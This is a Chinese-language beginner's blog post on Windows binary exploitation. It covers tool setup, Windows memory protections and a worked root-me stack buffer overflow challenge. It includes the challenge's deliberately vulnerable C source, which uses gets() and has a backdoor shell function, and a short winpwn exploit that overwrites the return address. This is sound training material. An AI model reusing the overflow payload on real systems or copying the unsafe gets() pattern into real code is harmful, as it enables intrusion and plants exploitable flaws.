前言
前幾天因為看CS shellcode
裝了一個win10
虛擬機器,然後正好因為逆向課老師要裝一系列工具。於是就想起來之前一直想看的windows pwn
,就順便裝了一下相關工具並且入門了一下。
工具安裝
winpwn
這個和pwntools
差不多,不過可以讓我們本地跑windows
的程式(pwntools
只可以本地跑linux
的)。可以透過以下命令安裝:
- pip3 install winpwn
- pip3 install pefile
- pip3 install keystone-engine
- pip3 install install capstone
安裝完成之後可以透過from winpwn import *
來檢查一下,如果不報錯那麼即代表安裝好了。
checksec
用來檢查程式的保護機制是否開啟。透過如下連結即可從github
上下載到一個現成的。
https://github.com/Wenzel/checksec.py/releases/download/v0.6.2/checksec.exe
windbg
用來對程式進行除錯。我推薦直接在Microsof store
裡下載windbg preview
。(不過筆者由於操作不當,竟然把這玩意強行粉碎了,並且還沒找到辦法重新下載一個)於是筆者就隨便找了一個windbg
用了一下。
win_server
EX
師傅寫的,用來把程式對映到某個埠,方便我們的除錯。專案地址如下:
https://github.com/Ex-Origin/win_server.git
保護機制
windows
下的保護機制感覺比linux
下多很多。
1、NX:(在windows
下應該是DEP
,可能是我這個checksec
不標準)。表示堆疊不可執行。
2、Canary:(在windows
下應該是GS
,可能是我這個checksec
不標準)。用來檢測緩衝區溢位,與linux
下的canary
一樣。
3、ASLR:地址隨機化,使得exe,dll
的地址不固定。
4、Dynamic Base:程式編譯時可透過/DYNAMICBASE
編譯選項指示程式是否利用ASLR
的功能。
5、High Entropy VA:我也不是很理解(也許是使得隨機化程度更高?
6、SEH:結構化異常處理(Structured Exception Handling,簡稱 SEH)是一種Windows
作業系統對錯誤或異常提供的處理技術。為Windows
的程式設計者提供了程式錯誤或異常的處理途徑,使得系統更加健壯。
7、SafeSEH:為了防止攻擊者透過覆蓋堆疊上的異常處理函式控制程式碼,從而控制程式執行流程的攻擊,在呼叫異常處理函式之前,對要呼叫的異常處理函式進行一系列的有效性校驗,如果發現異常處理函式不可靠,立即終止異常處理函式的呼叫。
8、Force Integrity:強制簽名保護。
9、Control Flow Guard:控制Flow
防護 (CFG) 是一項高度最佳化的平臺安全功能,旨在打擊記憶體損壞漏洞。 透過嚴格限制應用程式可以從何處執行程式碼,利用漏洞(如緩衝區溢位)執行任意程式碼會更加困難。
10、Isolation:隔離保護,預設會開啟。
11、Authenticode:簽名保護。
例題
這裡我們拿root-me PE32 - Stack buffer overflow basic來練手。
程式只開了DEP和SEH,並且程式的原始碼已經給我們了,如下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <ctype.h>
#define DEFAULT_LEN 16
void admin_shell(void)
{
system("C:\\Windows\\system32\\cmd.exe");
}
int main(void)
{
char buff[DEFAULT_LEN] = {0};
int i;
gets(buff);
for (i = 0; i < DEFAULT_LEN; i++) {
buff[i] = toupper(buff[i]);
}
printf("%s\n", buff);
}
那麼就是一個很明顯的緩衝區溢位,並且還給了我們後門函式,直接用winpwn寫exp即可。
from winpwn import *
context.log_level='debug'
context.arch='i386'
r = process('./ch72.exe')
payload = 'a' * (0x14 + 4)
payload += p32(0x401000)
r.sendline(payload)
sleep(1)
r.sendline('calc')
r.interactive()
除錯方法
windows pwn
的除錯方法很多,這裡我就介紹一種,藉助Ex師傅的win server進行除錯。
首先用win server把我們要除錯的程式對映到某一埠上,如下:
接著用pwntools發包使得程式得以執行,此時我們就可以透過windbg attach 上去,愉快地除錯了。
同時可以透過這個工具(https://learn.microsoft.com/zh-cn/sysinternals/downloads/vmmap)檢視程式的記憶體分佈
參考連結
https://www.z1r0.top/2022/11/23/win-pwn初探(一)/#安裝winpwn
https://www.z1r0.top/2022/11/30/win-pwn初探(二)/#利用pwntools編寫exp
https://xuanxuanblingbling.github.io/ctf/pwn/2020/07/09/winpwn/